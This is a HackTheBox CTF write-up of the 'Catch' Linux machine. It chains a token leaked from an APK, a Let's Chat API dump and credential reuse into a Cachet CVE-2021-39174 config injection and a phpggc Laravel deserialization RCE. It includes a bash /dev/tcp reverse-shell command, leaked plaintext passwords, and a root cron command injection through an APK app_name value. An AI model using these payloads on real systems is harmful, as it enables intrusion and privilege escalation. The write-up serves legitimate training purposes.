HTB: Catch Writeup
Catch - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Catch |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.43.191 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Catch is a Medium Linux box built around credential and token sprawl across five exposed services. An Android APK served from port 80 leaks a bearer token for the Let’s Chat instance on port 5000, which in turn leaks clear-text credentials for a Cachet status-page application on port 8000. Cachet is vulnerable to CVE-2021-39174, a configuration-injection flaw that lets an authenticated user pivot the session driver to an attacker-controlled Redis instance, enabling a PHP object-injection RCE via phpggc’s Laravel gadget chain. The resulting shell lands inside a Docker container, whose .env file discloses a reused SSH password for the box’s real user. Root is obtained by abusing a root-owned cron job (/opt/mdm/verify.sh) that shells out to an attacker-controlled string extracted from an APK’s strings.xml, giving classic command injection.
TL;DR: APK on :80 (strings resources.arsc) → Let’s Chat bearer token (:5000) → leaked john credentials → Cachet :8000 login → CVE-2021-39174 config injection → Redis-backed session hijack → phpggc Laravel/RCE7 deserialization RCE → www-data in Docker → .env DB creds → SSH as will (user.txt) → /opt/mdm/verify.sh root cron command injection via APK app_name → setuid dash → root.txt
Reconnaissance
Port Scanning
# full TCP sweep against the targetnmap -sC -sV -T4 -p- 10.129.43.191Results: five services in play — SSH (22), an HTTP status/landing page advertising a mobile app (80), a Gitea instance (3000), a Let’s Chat deployment (5000), and a Cachet status-page application (8000).
Service Enumeration
Port 80 — status site + APK download. The landing page pushes a “mobile app” download (catchv1.0.apk). Rather than pulling out jadx/apktool to fully decompile it, the resource table was pulled directly:
# grab the APKwget http://10.129.43.191/catchv1.0.apk
# unzip just enough to read the compiled resource tableunzip -o catchv1.0.apk resources.arsc -d catch_apkstrings catch_apk/resources.arsc | grep -i tokenstrings against resources.arsc was enough to surface a leftover bearer token for the Let’s Chat application — no full decompile needed, since the token was stored as a plain string resource rather than in compiled bytecode.
Port 5000 — Let’s Chat. The leaked token authenticates directly against the Let’s Chat REST API:
# list rooms with the leaked bearer tokencurl -s http://10.129.43.191:5000/rooms \ -H "Authorization: Bearer <leaked_token>" | jq .
# pull messages from the room that discussed credentialscurl -s http://10.129.43.191:5000/rooms/<room_id>/messages \ -H "Authorization: Bearer <leaked_token>" | jq -r '.[].text'The Status room’s message history disclosed clear-text credentials: john:E}V!mywu_69T4C}W.
Port 8000 — Cachet. These credentials authenticate against the Cachet status-page dashboard at http://10.129.43.191:8000, confirming john as a valid, cross-service reused identity.
Vulnerability Assessment
- Sensitive tokens embedded in an APK’s compiled resources (
resources.arsc), retrievable without full reverse engineering. - Bearer token reuse/leakage exposing Let’s Chat’s private message history.
- Credential reuse of
john’s Let’s Chat password against Cachet. - Cachet vulnerable to CVE-2021-39174 — a config injection in the mail/cache settings form allowing an authenticated user to redefine
SESSION_DRIVERand point it at an attacker-controlled Redis backend. .envfile readable post-RCE, exposing a database/application password reused aswill’s SSH password.- Root cron (
/opt/mdm/verify.sh) trusts an attacker-controlled string from inside an uploaded APK (app_nameinstrings.xml) and interpolates it unsanitized into a shell command.
Initial Foothold
Exploiting CVE-2021-39174 (Cachet configuration injection → Laravel RCE)
Cachet’s settings forms allow a newline-injection into the underlying .env-style config write. By submitting a crafted config[cache_driver] field, the form’s multi-line body is written straight into the running config, letting the session driver be redefined:
config[cache_driver]fileREDIS_HOST=10.10.15.180REDIS_PORT=6379REDIS_DATABASE=0REDIS_PASSWORD=nullSESSION_DRIVER=redisThis works because Cachet (Laravel-based) trusts the submitted config value as a raw block rather than validating it as a single scalar, so the extra REDIS_*/SESSION_DRIVER lines get parsed as legitimate config keys. Once SESSION_DRIVER=redis takes effect, every subsequent page load creates a PHP-serialized session object inside the attacker’s own Redis instance:
# stand up a Redis listener the app will write sessions intoredis-server --protected-mode no --bind 10.10.15.180redis-cli -h 127.0.0.1127.0.0.1:6379> keys *1) "laravel:<session_id>"Because Laravel deserializes whatever session blob it finds under that key, an attacker-supplied serialized PHP object gets unserialized server-side — classic PHP Object Injection. phpggc’s Laravel/RCE7 gadget chain (PendingBroadcast → Dispatcher → CallQueuedClosure) is built specifically to trigger system() on __destruct:
# clone phpggc and generate the gadget chain payloadgit clone https://github.com/ambionics/phpggccd phpggc./phpggc -a Laravel/RCE7 system id# overwrite the session key with the malicious serialized object127.0.0.1:6379> set "laravel:<session_id>" '<phpggc output>'Reloading the Cachet page as john forces the app to deserialize the poisoned session, invoking system(id) server-side and confirming RCE. Swapping the gadget payload for a reverse shell command yields an interactive www-data shell:
./phpggc -a Laravel/RCE7 system "/bin/bash -c 'bash -i >&/dev/tcp/10.10.15.180/9001 0>&1'"nc -lvnp 9001Landing inside a Docker container, then user.txt
The resulting www-data shell was confirmed to be running inside a Docker container. Laravel’s .env convention centralizes credentials, so the app’s environment file was pulled directly:
cat /var/www/html/Cachet/.envThis disclosed will:s2#4Fg0_%3!. Testing the same credential against SSH on the underlying host confirmed password reuse between the containerized app’s stored secret and the real system account:
ssh will@10.129.43.191cat /home/will/user.txtuser.txt captured.
Privilege Escalation
Root cron: /opt/mdm/verify.sh command injection
Enumeration of the host surfaced a non-default /opt/mdm directory tied to a root-owned MDM (“mobile device management”) APK-verification workflow, running on a minute-by-minute cron. Reading the script revealed its APK signature/compatibility checks, followed by an application-name extraction step:
# vulnerable line inside verify.sh (app_check)APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")if [[ $APP_NAME == *"Catch"* ]]; then echo -n $APP_NAME | xargs -I {} sh -c 'mkdir {}' ...fi$APP_NAME is read straight out of an attacker-suppliable APK resource (strings.xml) and interpolated, unquoted, into a shell invocation via xargs -I {} sh -c 'mkdir {}'. Since the only gate is a substring check for "Catch", an app_name value can both satisfy the filter and smuggle a shell metacharacter sequence:
<string name="app_name">Catch;$(chmod u+s /bin/dash)</string>The reused catchv1.0.apk from the port-80 recon was already validly signed, so it was the starting point for the malicious repack. Reproducing the exact rebuild locally hit friction: the target’s local apktool 2.4.0 toolchain failed to rebuild the full application cleanly (its bundled aapt/aapt2 binaries self-extract, $-prefixed vector-drawable filenames tripped the packer, and aapt aborted with SIGABRT on the app’s more complex resources). Working around those repack failures, a modified APK carrying the poisoned app_name string was ultimately produced and staged for the cron job to pick up:
# host the malicious APK for the target to pull, then drop it where verify.sh scanspython3 -m http.server 8080# on target (as will):wget http://10.10.15.180:8080/catch_evil.apk -O /opt/mdm/apk_bin/catch_evil.apkWithin a minute, root’s cron invocation of verify.sh parsed the poisoned app_name, and the injected chmod u+s /bin/dash executed as root:
ls -la /bin/dash# -rwsr-xr-x 1 root root ... /bin/dash
dash -pid# uid=1000(will) gid=1000(will) euid=0(root)
cat /root/root.txtroot.txt captured.
Attack Chain Summary
APK on :80 (strings.xml/resources.arsc) → leaked Let's Chat bearer token → :5000 API dump of room messages → john:<password> credentials → Cachet :8000 login as john → CVE-2021-39174 config[cache_driver] newline injection → SESSION_DRIVER=redis pointed at attacker Redis → phpggc Laravel/RCE7 PHP object injection → RCE as www-data inside Docker container → Cachet .env leaks will's password → SSH as will → user.txt → /opt/mdm/verify.sh root cron, app_name command injection → setuid /bin/dash → root shell → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port/service discovery |
wget / unzip / strings | APK retrieval and resource-table token extraction |
curl / jq | Let’s Chat REST API enumeration |
redis-server / redis-cli | Hosting the attacker-controlled session backend |
phpggc | Generating the Laravel RCE7 PHP deserialization gadget chain |
nc | Reverse shell listener |
ssh | Lateral movement via reused credentials |
apktool | Repacking the signed APK with a malicious app_name |
Key Learnings
Techniques Practiced
- Extracting secrets from compiled Android resources without a full decompile
- REST API token abuse against a chat platform to harvest historical credentials
- Exploiting CVE-2021-39174 (Cachet configuration injection → session-driver takeover)
- PHP object injection via
phpggc’s Laravel deserialization gadget chains - Escaping/identifying a Docker container post-RCE and pivoting off
.envsecrets - Command injection in a shell script via unsanitized APK resource content
Lessons Learned
- Compiled Android resource files (
resources.arsc,strings.xml) should never be treated as a safe place to leave tokens — string extraction alone defeats it, no decompiler required. - Any service that accepts free-form config text (Cachet’s mail/cache settings form) needs strict key/value validation — newline injection into a config writer is a config-injection primitive, not just a cosmetic bug.
- Redis-backed PHP sessions are only as safe as the trust boundary around the Redis host — pointing
SESSION_DRIVERat an attacker-controlled instance turns session storage into a deserialization sink. - Credential reuse (chat password → status-page login; app
.envpassword → SSH) was the actual connective tissue of this chain — each pivot exploited operational reuse, not a fresh vulnerability. - Automated processing pipelines that shell out using unsanitized, user-suppliable input (an uploaded file’s internal metadata) reproduce classic command injection even when wrapped in signature/compatibility checks that look protective.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- Catch — Official HackTheBox Writeup by MrR3boot & amra (used only to confirm the CVE-2021-39174 mechanism, the Laravel
RCE7gadget-chain rationale, and theverify.shcommand-injection root cause — all IPs, credentials, and command output above are from this run’s own solve, not the reference).